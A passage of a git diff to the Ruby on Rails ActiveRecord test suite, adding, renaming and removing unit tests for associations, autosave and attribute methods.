+    ben = student.new(:name => "Ben Bitdiddle")
+    sicp.students << ben
+    assert sicp.save!
+
+    sicp.students.reload
+    sicp.students.destroy(*student.all.to_a)
+    assert after_destroy_called, "after destroy should be called"
+  end
+
+  def make_no_pk_hm_t
+    lesson = make_model 'Lesson'
+    student = make_model 'Student'
+
+    lesson_student = make_model 'LessonStudent'
+    lesson_student.table_name = 'lessons_students'
+
+    lesson_student.belongs_to :lesson, :class => lesson
+    lesson_student.belongs_to :student, :class => student
+    lesson.has_many :lesson_students, :class => lesson_student
+    lesson.has_many :students, :through => :lesson_students, :class => student
+    [lesson, lesson_student, student]
+  end
+
+  def test_pk_is_not_required_for_join
+    post  = Post.includes(:scategories).first
+    post2 = Post.includes(:categories).first
+
+    assert_operator post.categories.length, :>, 0
+    assert_equal post2.categories, post.categories
+  end
+
   def test_include?
     person = Person.new
     post = Post.new
@@ -58,6 +189,47 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert post.reload.people(true).include?(person)
   end
 
+  def test_delete_all_for_with_dependent_option_destroy
+    person = people(:david)
+    assert_equal 1, person.jobs_with_dependent_destroy.count
+
+    assert_no_difference 'Job.count' do
+      assert_difference 'Reference.count', -1 do
+        person.reload.jobs_with_dependent_destroy.delete_all
+      end
+    end
+  end
+
+  def test_delete_all_for_with_dependent_option_nullify
+    person = people(:david)
+    assert_equal 1, person.jobs_with_dependent_nullify.count
+
+    assert_no_difference 'Job.count' do
+      assert_no_difference 'Reference.count' do
+        person.reload.jobs_with_dependent_nullify.delete_all
+      end
+    end
+  end
+
+  def test_delete_all_for_with_dependent_option_delete_all
+    person = people(:david)
+    assert_equal 1, person.jobs_with_dependent_delete_all.count
+
+    assert_no_difference 'Job.count' do
+      assert_difference 'Reference.count', -1 do
+        person.reload.jobs_with_dependent_delete_all.delete_all
+      end
+    end
+  end
+
+  def test_concat
+    person = people(:david)
+    post   = posts(:thinking)
+    post.people.concat [person]
+    assert_equal 1, post.people.size
+    assert_equal 1, post.people(true).size
+  end
+
   def test_associate_existing_record_twice_should_add_to_target_twice
     post   = posts(:thinking)
     person = people(:david)
@@ -342,6 +514,15 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert_equal(post.taggings.count, post.taggings_count)
   end
 
+  def test_update_counter_caches_on_destroy
+    post = posts(:welcome)
+    tag  = post.tags.create!(name: 'doomed')
+
+    assert_difference 'post.reload.taggings_count', -1 do
+      tag.tagged_posts.destroy(post)
+    end
+  end
+
   def test_replace_association
     assert_queries(4){posts(:welcome);people(:david);people(:michael); posts(:welcome).people(true)}
 
@@ -613,7 +794,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     sarah = Person.create!(:first_name => 'Sarah', :primary_contact_id => people(:susan).id, :gender => 'F', :number1_fan_id => 1)
     john = Person.create!(:first_name => 'John', :primary_contact_id => sarah.id, :gender => 'M', :number1_fan_id => 1)
     assert_equal sarah.agents, [john]
-    assert_equal people(:susan).agents.map(&:agents).flatten, people(:susan).agents_of_agents
+    assert_equal people(:susan).agents.flat_map(&:agents), people(:susan).agents_of_agents
   end
 
   def test_associate_existing_with_nonstandard_primary_key_on_belongs_to
@@ -636,6 +817,13 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert author.named_categories(true).include?(category)
   end
 
+  def test_collection_exists
+    author   = authors(:mary)
+    category = Category.create!(author_ids: [author.id], name: "Primary")
+    assert category.authors.exists?(id: author.id)
+    assert category.reload.authors.exists?(id: author.id)
+  end
+
   def test_collection_delete_with_nonstandard_primary_key_on_belongs_to
     author   = authors(:mary)
     category = author.named_categories.create(:name => "Primary")
@@ -894,7 +1082,7 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert_equal ["parrot", "bulbul"], owner.toys.map { |r| r.pet.name }
   end
 
-  test "has many through associations on new records use null relations" do
+  def test_has_many_through_associations_on_new_records_use_null_relations
     person = Person.new
 
     assert_no_queries do
@@ -906,11 +1094,47 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     end
   end
 
-  test "has many through with default scope on the target" do
+  def test_has_many_through_with_default_scope_on_the_target
     person = people(:michael)
     assert_equal [posts(:thinking)], person.first_posts
 
     readers(:michael_authorless).update(first_post_id: 1)
     assert_equal [posts(:thinking)], person.reload.first_posts
   end
+
+  def test_has_many_through_with_includes_in_through_association_scope
+    assert_not_empty posts(:welcome).author_address_extra_with_address
+  end
+
+  def test_insert_records_via_has_many_through_association_with_scope
+    club = Club.create!
+    member = Member.create!
+    Membership.create!(club: club, member: member)
+
+    club.favourites << member
+    assert_equal [member], club.favourites
+
+    club.reload
+    assert_equal [member], club.favourites
+  end
+
+  def test_has_many_through_unscope_default_scope
+    post = Post.create!(:title => 'Beaches', :body => "I like beaches!")
+    Reader.create! :person => people(:david), :post => post
+    LazyReader.create! :person => people(:susan), :post => post
+
+    assert_equal 2, post.people.to_a.size
+    assert_equal 1, post.lazy_people.to_a.size
+
+    assert_equal 2, post.lazy_readers_unscope_skimmers.to_a.size
+    assert_equal 2, post.lazy_people_unscope_skimmers.to_a.size
+  end
+  
+  def test_has_many_through_add_with_sti_middle_relation
+    club = SuperClub.create!(name: 'Fight Club')
+    member = Member.create!(name: 'Tyler Durden')
+
+    club.members << member
+    assert_equal 1, SuperMembership.where(member_id: member.id, club_id: club.id).count
+  end
 end
diff --git a/activerecord/test/cases/associations/has_one_associations_test.rb b/activerecord/test/cases/associations/has_one_associations_test.rb
index 312dbb3..a4650cc 100644
--- a/activerecord/test/cases/associations/has_one_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_associations_test.rb
@@ -22,6 +22,13 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     assert_equal Account.find(1).credit_limit, companies(:first_firm).account.credit_limit
   end
 
+  def test_has_one_does_not_use_order_by
+    ActiveRecord::SQLCounter.clear_log
+    companies(:first_firm).account
+  ensure
+    assert ActiveRecord::SQLCounter.log_all.all? { |sql| /order by/i !~ sql }, 'ORDER BY was used in the query'
+  end
+
   def test_has_one_cache_nils
     firm = companies(:another_firm)
     assert_queries(1) { assert_nil firm.account }
@@ -158,22 +165,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     assert_nothing_raised { firm.destroy }
   end
 
-  def test_restrict
-    firm = RestrictedFirm.create!(:name => 'restrict')
-    firm.create_account(:credit_limit => 10)
-
-    assert_not_nil firm.account
-
-    assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
-    assert RestrictedFirm.exists?(:name => 'restrict')
-    assert firm.account.present?
-  end
-
-  def test_restrict_is_deprecated
-    klass = Class.new(ActiveRecord::Base)
-    assert_deprecated { klass.has_one :post, dependent: :restrict }
-  end
-
   def test_restrict_with_exception
     firm = RestrictedWithExceptionFirm.create!(:name => 'restrict')
     firm.create_account(:credit_limit => 10)
@@ -525,19 +516,62 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     assert_no_queries { Firm.new.account = account }
   end
 
-  def test_has_one_assignment_triggers_save_on_change
+  def test_has_one_assignment_dont_trigger_save_on_change_of_same_object
     pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
     ship = pirate.build_ship(name: 'old name')
     ship.save!
 
     ship.name = 'new name'
     assert ship.changed?
+    assert_queries(1) do
+      # One query for updating name, not triggering query for updating pirate_id
+      pirate.ship = ship
+    end
+
+    assert_equal 'new name', pirate.ship.reload.name
+  end
+
+  def test_has_one_assignment_triggers_save_on_change_on_replacing_object
+    pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    ship = pirate.build_ship(name: 'old name')
+    ship.save!
+
+    new_ship = Ship.create(name: 'new name')
     assert_queries(2) do
       # One query for updating name and second query for updating pirate_id
-      pirate.ship = ship
+      pirate.ship = new_ship
     end
 
     assert_equal 'new name', pirate.ship.reload.name
   end
 
+  def test_has_one_autosave_with_primary_key_manually_set
+    post = Post.create(id: 1234, title: "Some title", body: 'Some content')
+    author = Author.new(id: 33, name: 'Hank Moody')
+
+    author.post = post
+    author.save
+    author.reload
+
+    assert_not_nil author.post
+    assert_equal author.post, post
+  end
+
+  def test_has_one_relationship_cannot_have_a_counter_cache
+    assert_raise(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        has_one :thing, counter_cache: true
+      end
+    end
+  end
+
+  test 'dangerous association name raises ArgumentError' do
+    [:errors, 'errors', :save, 'save'].each do |name|
+      assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+        Class.new(ActiveRecord::Base) do
+          has_one name
+        end
+      end
+    end
+  end
 end
diff --git a/activerecord/test/cases/associations/has_one_through_associations_test.rb b/activerecord/test/cases/associations/has_one_through_associations_test.rb
index 90c557e..a272544 100644
--- a/activerecord/test/cases/associations/has_one_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_through_associations_test.rb
@@ -191,6 +191,7 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_preloading_has_one_through_on_belongs_to
+    MemberDetail.delete_all
     assert_not_nil @member.member_type
     @organization = organizations(:nsa)
     @member_detail = MemberDetail.new
@@ -201,7 +202,7 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
     end
     @new_detail = @member_details[0]
     assert @new_detail.send(:association, :member_type).loaded?
-    assert_not_nil assert_no_queries { @new_detail.member_type }
+    assert_no_queries { @new_detail.member_type }
   end
 
   def test_save_of_record_with_loaded_has_one_through
@@ -314,4 +315,12 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
   def test_has_one_through_with_custom_select_on_join_model_default_scope
     assert_equal clubs(:boring_club), members(:groucho).selected_club
   end
+
+  def test_has_one_through_relationship_cannot_have_a_counter_cache
+    assert_raise(ArgumentError) do
+      Class.new(ActiveRecord::Base) do
+        has_one :thing, through: :other_thing, counter_cache: true
+      end
+    end
+  end
 end
diff --git a/activerecord/test/cases/associations/inner_join_association_test.rb b/activerecord/test/cases/associations/inner_join_association_test.rb
index dccd54d..b23517b 100644
--- a/activerecord/test/cases/associations/inner_join_association_test.rb
+++ b/activerecord/test/cases/associations/inner_join_association_test.rb
@@ -42,7 +42,7 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
   end
 
   def test_join_association_conditions_support_string_and_arel_expressions
-    assert_equal 0, Author.joins(:welcome_posts_with_comment).count
+    assert_equal 0, Author.joins(:welcome_posts_with_one_comment).count
     assert_equal 1, Author.joins(:welcome_posts_with_comments).count
   end
 
@@ -51,10 +51,10 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
     assert_equal 2, authors.count
   end
 
-  def test_find_with_implicit_inner_joins_honors_readonly_without_select
-    authors = Author.joins(:posts).to_a
-    assert !authors.empty?, "expected authors to be non-empty"
-    assert authors.all? {|a| a.readonly? }, "expected all authors to be readonly"
+  def test_find_with_implicit_inner_joins_without_select_does_not_imply_readonly
+    authors = Author.joins(:posts)
+    assert_not authors.empty?, "expected authors to be non-empty"
+    assert authors.none? {|a| a.readonly? }, "expected no authors to be readonly"
   end
 
   def test_find_with_implicit_inner_joins_honors_readonly_with_select
@@ -70,7 +70,7 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
   end
 
   def test_find_with_implicit_inner_joins_does_not_set_associations
-    authors = Author.joins(:posts).select('authors.*')
+    authors = Author.joins(:posts).select('authors.*').to_a
     assert !authors.empty?, "expected authors to be non-empty"
     assert authors.all? { |a| !a.instance_variable_defined?(:@posts) }, "expected no authors to have the @posts association loaded"
   end
@@ -117,4 +117,13 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
 
     assert_equal [author], Author.where(id: author).joins(:special_categorizations)
   end
+
+  test "the default scope of the target is correctly aliased when joining associations" do
+    author = Author.create! name: "Jon"
+    author.categories.create! name: 'Not Special'
+    author.special_categories.create! name: 'Special'
+
+    categories = author.categories.includes(:special_categorizations).references(:special_categorizations).to_a
+    assert_equal 2, categories.size
+  end
 end
diff --git a/activerecord/test/cases/associations/inverse_associations_test.rb b/activerecord/test/cases/associations/inverse_associations_test.rb
index c292dd7..8930303 100644
--- a/activerecord/test/cases/associations/inverse_associations_test.rb
+++ b/activerecord/test/cases/associations/inverse_associations_test.rb
@@ -5,6 +5,102 @@ require 'models/interest'
 require 'models/zine'
 require 'models/club'
 require 'models/sponsor'
+require 'models/rating'
+require 'models/comment'
+require 'models/car'
+require 'models/bulb'
+require 'models/mixed_case_monkey'
+
+class AutomaticInverseFindingTests < ActiveRecord::TestCase
+  fixtures :ratings, :comments, :cars
+
+  def test_has_one_and_belongs_to_should_find_inverse_automatically_on_multiple_word_name
+    monkey_reflection = MixedCaseMonkey.reflect_on_association(:man)
+    man_reflection = Man.reflect_on_association(:mixed_case_monkey)
+
+    assert_respond_to monkey_reflection, :has_inverse?
+    assert monkey_reflection.has_inverse?, "The monkey reflection should have an inverse"
+    assert_equal man_reflection, monkey_reflection.inverse_of, "The monkey reflection's inverse should be the man reflection"
+
+    assert_respond_to man_reflection, :has_inverse?
+    assert man_reflection.has_inverse?, "The man reflection should have an inverse"
+    assert_equal monkey_reflection, man_reflection.inverse_of, "The man reflection's inverse should be the monkey reflection"
+  end
+
+  def test_has_one_and_belongs_to_should_find_inverse_automatically
+    car_reflection = Car.reflect_on_association(:bulb)
+    bulb_reflection = Bulb.reflect_on_association(:car)
+
+    assert_respond_to car_reflection, :has_inverse?
+    assert car_reflection.has_inverse?, "The Car reflection should have an inverse"
+    assert_equal bulb_reflection, car_reflection.inverse_of, "The Car reflection's inverse should be the Bulb reflection"
+
+    assert_respond_to bulb_reflection, :has_inverse?
+    assert bulb_reflection.has_inverse?, "The Bulb reflection should have an inverse"
+    assert_equal car_reflection, bulb_reflection.inverse_of, "The Bulb reflection's inverse should be the Car reflection"
+  end
+
+  def test_has_many_and_belongs_to_should_find_inverse_automatically
+    comment_reflection = Comment.reflect_on_association(:ratings)
+    rating_reflection = Rating.reflect_on_association(:comment)
+
+    assert_respond_to comment_reflection, :has_inverse?
+    assert comment_reflection.has_inverse?, "The Comment reflection should have an inverse"
+    assert_equal rating_reflection, comment_reflection.inverse_of, "The Comment reflection's inverse should be the Rating reflection"
+  end
+
+  def test_has_one_and_belongs_to_automatic_inverse_shares_objects
+    car = Car.first
+    bulb = Bulb.create!(car: car)
+
+    assert_equal car.bulb, bulb, "The Car's bulb should be the original bulb"
+
+    car.bulb.color = "Blue"
+    assert_equal car.bulb.color, bulb.color, "Changing the bulb's color on the car association should change the bulb's color"
+
+    bulb.color = "Red"
+    assert_equal bulb.color, car.bulb.color, "Changing the bulb's color should change the bulb's color on the car association"
+  end
+
+  def test_has_many_and_belongs_to_automatic_inverse_shares_objects_on_rating
+    comment = Comment.first
+    rating = Rating.create!(comment: comment)
+
+    assert_equal rating.comment, comment, "The Rating's comment should be the original Comment"
+
+    rating.comment.body = "Brogramming is the act of programming, like a bro."
+    assert_equal rating.comment.body, comment.body, "Changing the Comment's body on the association should change the original Comment's body"
+
+    comment.body = "Broseiden is the king of the sea of bros."
+    assert_equal comment.body, rating.comment.body, "Changing the original Comment's body should change the Comment's body on the association"
+  end
+
+  def test_has_many_and_belongs_to_automatic_inverse_shares_objects_on_comment
+    rating = Rating.create!
+    comment = Comment.first
+    rating.comment = comment
+
+    assert_equal rating.comment, comment, "The Rating's comment should be the original Comment"
+
+    rating.comment.body = "Brogramming is the act of programming, like a bro."
+    assert_equal rating.comment.body, comment.body, "Changing the Comment's body on the association should change the original Comment's body"
+
+    comment.body = "Broseiden is the king of the sea of bros."
+    assert_equal comment.body, rating.comment.body, "Changing the original Comment's body should change the Comment's body on the association"
+  end
+
+  def test_polymorphic_and_has_many_through_relationships_should_not_have_inverses
+    sponsor_reflection = Sponsor.reflect_on_association(:sponsorable)
+
+    assert_respond_to sponsor_reflection, :has_inverse?
+    assert !sponsor_reflection.has_inverse?, "A polymorphic association should not find an inverse automatically"
+
+    club_reflection = Club.reflect_on_association(:members)
+
+    assert_respond_to club_reflection, :has_inverse?
+    assert !club_reflection.has_inverse?, "A has_many_through association should not find an inverse automatically"
+  end
+end
 
 class InverseAssociationTests < ActiveRecord::TestCase
   def test_should_allow_for_inverse_of_options_in_associations
@@ -324,7 +420,7 @@ class InverseHasManyTests < ActiveRecord::TestCase
     interest = Interest.create!(man: man)
 
     man.interests.find(interest.id)
-    refute man.interests.loaded?
+    assert_not man.interests.loaded?
   end
 
   def test_raise_record_not_found_error_when_invalid_ids_are_passed
diff --git a/activerecord/test/cases/associations/join_dependency_test.rb b/activerecord/test/cases/associations/join_dependency_test.rb
deleted file mode 100644
index 08c166d..0000000
--- a/activerecord/test/cases/associations/join_dependency_test.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-require "cases/helper"
-require 'models/edge'
-
-class JoinDependencyTest < ActiveRecord::TestCase
-  def test_column_names_with_alias_handles_nil_primary_key
-    assert_equal Edge.column_names, ActiveRecord::Associations::JoinDependency::JoinBase.new(Edge).column_names_with_alias.map(&:first)
-  end
-end
\ No newline at end of file
diff --git a/activerecord/test/cases/associations/nested_through_associations_test.rb b/activerecord/test/cases/associations/nested_through_associations_test.rb
index e75d43b..8ef351c 100644
--- a/activerecord/test/cases/associations/nested_through_associations_test.rb
+++ b/activerecord/test/cases/associations/nested_through_associations_test.rb
@@ -186,7 +186,9 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
     members = assert_queries(4) { Member.includes(:organization_member_details_2).to_a.sort_by(&:id) }
     groucho_details, other_details = member_details(:groucho), member_details(:some_other_guy)
 
-    assert_no_queries do
+    # postgresql test if randomly executed then executes "SHOW max_identifier_length". Hence
+    # the need to ignore certain predefined sqls that deal with system calls.
+    assert_no_queries(ignore_none: false) do
       assert_equal [groucho_details, other_details], members.first.organization_member_details_2.sort_by(&:id)
     end
   end
@@ -212,7 +214,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_has_many_through_has_many_with_has_and_belongs_to_many_source_reflection_preload
-    authors = assert_queries(3) { Author.includes(:post_categories).to_a.sort_by(&:id) }
+    authors = assert_queries(4) { Author.includes(:post_categories).to_a.sort_by(&:id) }
     general, cooking = categories(:general), categories(:cooking)
 
     assert_no_queries do
@@ -240,7 +242,8 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_has_many_through_has_and_belongs_to_many_with_has_many_source_reflection_preload
-    categories = assert_queries(3) { Category.includes(:post_comments).to_a.sort_by(&:id) }
+    Category.includes(:post_comments).to_a # preheat cache
+    categories = assert_queries(4) { Category.includes(:post_comments).to_a.sort_by(&:id) }
     greetings, more = comments(:greetings), comments(:more_greetings)
 
     assert_no_queries do
@@ -268,7 +271,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_has_many_through_has_many_with_has_many_through_habtm_source_reflection_preload
-    authors = assert_queries(5) { Author.includes(:category_post_comments).to_a.sort_by(&:id) }
+    authors = assert_queries(6) { Author.includes(:category_post_comments).to_a.sort_by(&:id) }
     greetings, more = comments(:greetings), comments(:more_greetings)
 
     assert_no_queries do
@@ -369,7 +372,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase
     prev_default_scope = Club.default_scopes
 
     [:includes, :preload, :joins, :eager_load].each do |q|
-      Club.default_scopes = [Club.send(q, :category)]
+      Club.default_scopes = [proc { Club.send(q, :category) }]
       assert_equal categories(:general), members(:groucho).reload.club_category
     end
   ensure
diff --git a/activerecord/test/cases/associations_test.rb b/activerecord/test/cases/associations_test.rb
index 0f2d22a..f663b54 100644
--- a/activerecord/test/cases/associations_test.rb
+++ b/activerecord/test/cases/associations_test.rb
@@ -217,7 +217,7 @@ class AssociationProxyTest < ActiveRecord::TestCase
     assert_equal post.body, "More cool stuff!"
   end
 
-  def test_reload_returns_assocition
+  def test_reload_returns_association
     david = developers(:david)
     assert_nothing_raised do
       assert_equal david.projects, david.projects.reload.reload
@@ -255,6 +255,15 @@ class AssociationProxyTest < ActiveRecord::TestCase
       assert_equal man, man.interests.where("1=1").first.man
     end
   end
+
+  def test_reset_unloads_target
+    david = authors(:david)
+    david.posts.reload
+
+    assert david.posts.loaded?
+    david.posts.reset
+    assert !david.posts.loaded?
+  end
 end
 
 class OverridingAssociationsTest < ActiveRecord::TestCase
@@ -278,7 +287,7 @@ class OverridingAssociationsTest < ActiveRecord::TestCase
   def test_habtm_association_redefinition_callbacks_should_differ_and_not_inherited
     # redeclared association on AR descendant should not inherit callbacks from superclass
     callbacks = PeopleList.before_add_for_has_and_belongs_to_many
-    assert_equal([:enlist], callbacks)
+    assert_equal(1, callbacks.length)
     callbacks = DifferentPeopleList.before_add_for_has_and_belongs_to_many
     assert_equal([], callbacks)
   end
@@ -286,7 +295,7 @@ class OverridingAssociationsTest < ActiveRecord::TestCase
   def test_has_many_association_redefinition_callbacks_should_differ_and_not_inherited
     # redeclared association on AR descendant should not inherit callbacks from superclass
     callbacks = PeopleList.before_add_for_has_many
-    assert_equal([:enlist], callbacks)
+    assert_equal(1, callbacks.length)
     callbacks = DifferentPeopleList.before_add_for_has_many
     assert_equal([], callbacks)
   end
diff --git a/activerecord/test/cases/attribute_methods/read_test.rb b/activerecord/test/cases/attribute_methods/read_test.rb
index 900a7ef..c0659fd 100644
--- a/activerecord/test/cases/attribute_methods/read_test.rb
+++ b/activerecord/test/cases/attribute_methods/read_test.rb
@@ -49,9 +49,9 @@ module ActiveRecord
       end
 
       def test_attribute_methods_generated?
-        assert(!@klass.attribute_methods_generated?, 'attribute_methods_generated?')
+        assert_not @klass.method_defined?(:one)
         @klass.define_attribute_methods
-        assert(@klass.attribute_methods_generated?, 'attribute_methods_generated?')
+        assert @klass.method_defined?(:one)
       end
     end
   end
diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb
index d9c0323..7ecb61d 100644
--- a/activerecord/test/cases/attribute_methods_test.rb
+++ b/activerecord/test/cases/attribute_methods_test.rb
@@ -27,6 +27,14 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     ActiveRecord::Base.send(:attribute_method_matchers).concat(@old_matchers)
   end
 
+  def test_attribute_for_inspect
+    t = topics(:first)
+    t.title = "The First Topic Now Has A Title With\nNewlines And More Than 50 Characters"
+
+    assert_equal %("#{t.written_on.to_s(:db)}"), t.attribute_for_inspect(:written_on)
+    assert_equal '"The First Topic Now Has A Title With\nNewlines And ..."', t.attribute_for_inspect(:title)
+  end
+
   def test_attribute_present
     t = Topic.new
     t.title = "hello there!"
@@ -84,7 +92,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
 
   def test_set_attributes_without_hash
     topic = Topic.new
-    assert_nothing_raised { topic.attributes = '' }
+    assert_raise(ArgumentError) { topic.attributes = '' }
   end
 
   def test_integers_as_nil
@@ -130,6 +138,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     assert_equal '10', keyboard.id_before_type_cast
     assert_equal nil, keyboard.read_attribute_before_type_cast('id')
     assert_equal '10', keyboard.read_attribute_before_type_cast('key_number')
+    assert_equal '10', keyboard.read_attribute_before_type_cast(:key_number)
   end
 
   # Syck calls respond_to? before actually calling initialize
@@ -710,19 +719,49 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     assert_raise(ActiveRecord::UnknownAttributeError) { @target.new.attributes = { :title => "Ants in pants" } }
   end
 
-  def test_read_attribute_overwrites_private_method_not_considered_implemented
-    # simulate a model with a db column that shares its name an inherited
-    # private method (e.g. Object#system)
-    #
-    Object.class_eval do
-      private
-      def title; "private!"; end
+  def test_bulk_update_raise_unknown_attribute_errro
+    error = assert_raises(ActiveRecord::UnknownAttributeError) {
+      @target.new(:hello => "world")
+    }
+    assert @target, error.record
+    assert "hello", error.attribute
+    assert "unknown attribute: hello", error.message
+  end
+
+  def test_methods_override_in_multi_level_subclass
+    klass = Class.new(Developer) do
+      def name
+        "dev:#{read_attribute(:name)}"
+      end
     end
-    assert !@target.instance_method_already_implemented?(:title)
-    topic = @target.new
-    assert_nil topic.title
 
-    Object.send(:undef_method, :title) # remove test method from object
+    2.times { klass = Class.new klass }
+    dev = klass.new(name: 'arthurnn')
+    dev.save!
+    assert_equal 'dev:arthurnn', dev.reload.name
+  end
+
+  def test_global_methods_are_overwritten
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'computers'
+    end
+
+    assert !klass.instance_method_already_implemented?(:system)
+    computer = klass.new
+    assert_nil computer.system
+  end
+
+  def test_global_methods_are_overwritte_when_subclassing
+    klass = Class.new(ActiveRecord::Base) { self.abstract_class = true }
+
+    subklass = Class.new(klass) do
+      self.table_name = 'computers'
+    end
+
+    assert !klass.instance_method_already_implemented?(:system)
+    assert !subklass.instance_method_already_implemented?(:system)
+    computer = subklass.new
+    assert_nil computer.system
   end
 
   def test_instance_method_should_be_defined_on_the_base_class
@@ -741,21 +780,6 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     assert subklass.method_defined?(:id), "subklass is missing id method"
   end
 
-  def test_dispatching_column_attributes_through_method_missing_deprecated
-    Topic.define_attribute_methods
-
-    topic = Topic.new(:id => 5)
-    topic.id = 5
-
-    topic.method(:id).owner.send(:undef_method, :id)
-
-    assert_deprecated do
-      assert_equal 5, topic.id
-    end
-  ensure
-    Topic.undefine_attribute_methods
-  end
-
   def test_read_attribute_with_nil_should_not_asplode
     assert_equal nil, Topic.new.read_attribute(nil)
   end
@@ -764,8 +788,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
   # that by defining a 'foo' method in the generated methods module for B.
   # (That module will be inserted between the two, e.g. [B, <GeneratedAttributes>, A].)
   def test_inherited_custom_accessors
-    klass = Class.new(ActiveRecord::Base) do
-      self.table_name = "topics"
+    klass = new_topic_like_ar_class do
       self.abstract_class = true
       def title; "omg"; end
       def title=(val); self.author_name = val; end
@@ -780,8 +803,52 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     assert_equal "lol", topic.author_name
   end
 
+  def test_on_the_fly_super_invokable_generated_attribute_methods_via_method_missing
+    klass = new_topic_like_ar_class do
+      def title
+        super + '!'
+      end
+    end
+
+    real_topic = topics(:first)
+    assert_equal real_topic.title + '!', klass.find(real_topic.id).title
+  end
+
+  def test_on_the_fly_super_invokable_generated_predicate_attribute_methods_via_method_missing
+    klass = new_topic_like_ar_class do
+      def title?
+        !super
+      end
+    end
+
+    real_topic = topics(:first)
+    assert_equal !real_topic.title?, klass.find(real_topic.id).title?
+  end
+
+  def test_calling_super_when_parent_does_not_define_method_raises_error
+    klass = new_topic_like_ar_class do
+      def some_method_that_is_not_on_super
+        super
+      end
+    end
+
+    assert_raise(NoMethodError) do
+      klass.new.some_method_that_is_not_on_super
+    end
+  end
+
   private
 
+  def new_topic_like_ar_class(&block)
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'topics'
+      class_eval(&block)
+    end
+
+    assert_empty klass.generated_attribute_methods.instance_methods(false)
+    klass
+  end
+
   def cached_columns
     Topic.columns.map(&:name) - Topic.serialized_attributes.keys
   end
diff --git a/activerecord/test/cases/autosave_association_test.rb b/activerecord/test/cases/autosave_association_test.rb
index 635278a..bf02ff5 100644
--- a/activerecord/test/cases/autosave_association_test.rb
+++ b/activerecord/test/cases/autosave_association_test.rb
@@ -17,8 +17,35 @@ require 'models/tag'
 require 'models/tagging'
 require 'models/treasure'
 require 'models/eye'
+require 'models/electron'
+require 'models/molecule'
 
 class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
+  def test_autosave_validation
+    person = Class.new(ActiveRecord::Base) {
+      self.table_name = 'people'
+      validate :should_be_cool, :on => :create
+      def self.name; 'Person'; end
+
+      private
+
+      def should_be_cool
+        unless self.first_name == 'cool'
+          errors.add :first_name, "not cool"
+        end
+      end
+    }
+    reference = Class.new(ActiveRecord::Base) {
+      self.table_name = "references"
+      def self.name; 'Reference'; end
+      belongs_to :person, autosave: true, class: person
+    }
+
+    u = person.create!(first_name: 'cool')
+    u.update_attributes!(first_name: 'nah') # still valid because validation only applies on 'create'
+    assert reference.create!(person: u).persisted?
+  end
+
   def test_should_not_add_the_same_callbacks_multiple_times_for_has_one
     assert_no_difference_when_adding_callbacks_twice_for Pirate, :ship
   end
@@ -343,6 +370,33 @@ class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::Test
   end
 end
 
+class TestDefaultAutosaveAssociationOnAHasManyAssociationWithAcceptsNestedAttributes < ActiveRecord::TestCase
+  def test_invalid_adding_with_nested_attributes
+    molecule = Molecule.new
+    valid_electron = Electron.new(name: 'electron')
+    invalid_electron = Electron.new
+
+    molecule.electrons = [valid_electron, invalid_electron]
+    molecule.save
+
+    assert_not invalid_electron.valid?
+    assert valid_electron.valid?
+    assert_not molecule.persisted?, 'Molecule should not be persisted when its electrons are invalid'
+  end
+
+  def test_valid_adding_with_nested_attributes
+    molecule = Molecule.new
+    valid_electron = Electron.new(name: 'electron')
+
+    molecule.electrons = [valid_electron]
+    molecule.save
+
+    assert valid_electron.valid?
+    assert molecule.persisted?
+    assert_equal 1, molecule.electrons.count
+  end
+end
+
 class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
   fixtures :companies, :people
 
@@ -401,7 +455,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
     assert_equal new_client, companies(:first_firm).clients_of_firm.last
     assert !companies(:first_firm).save
     assert !new_client.persisted?
-    assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+    assert_equal 2, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_adding_before_save
@@ -455,7 +509,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
     company.name += '-changed'
     assert_queries(2) { assert company.save }
     assert new_client.persisted?
-    assert_equal 2, company.clients_of_firm(true).size
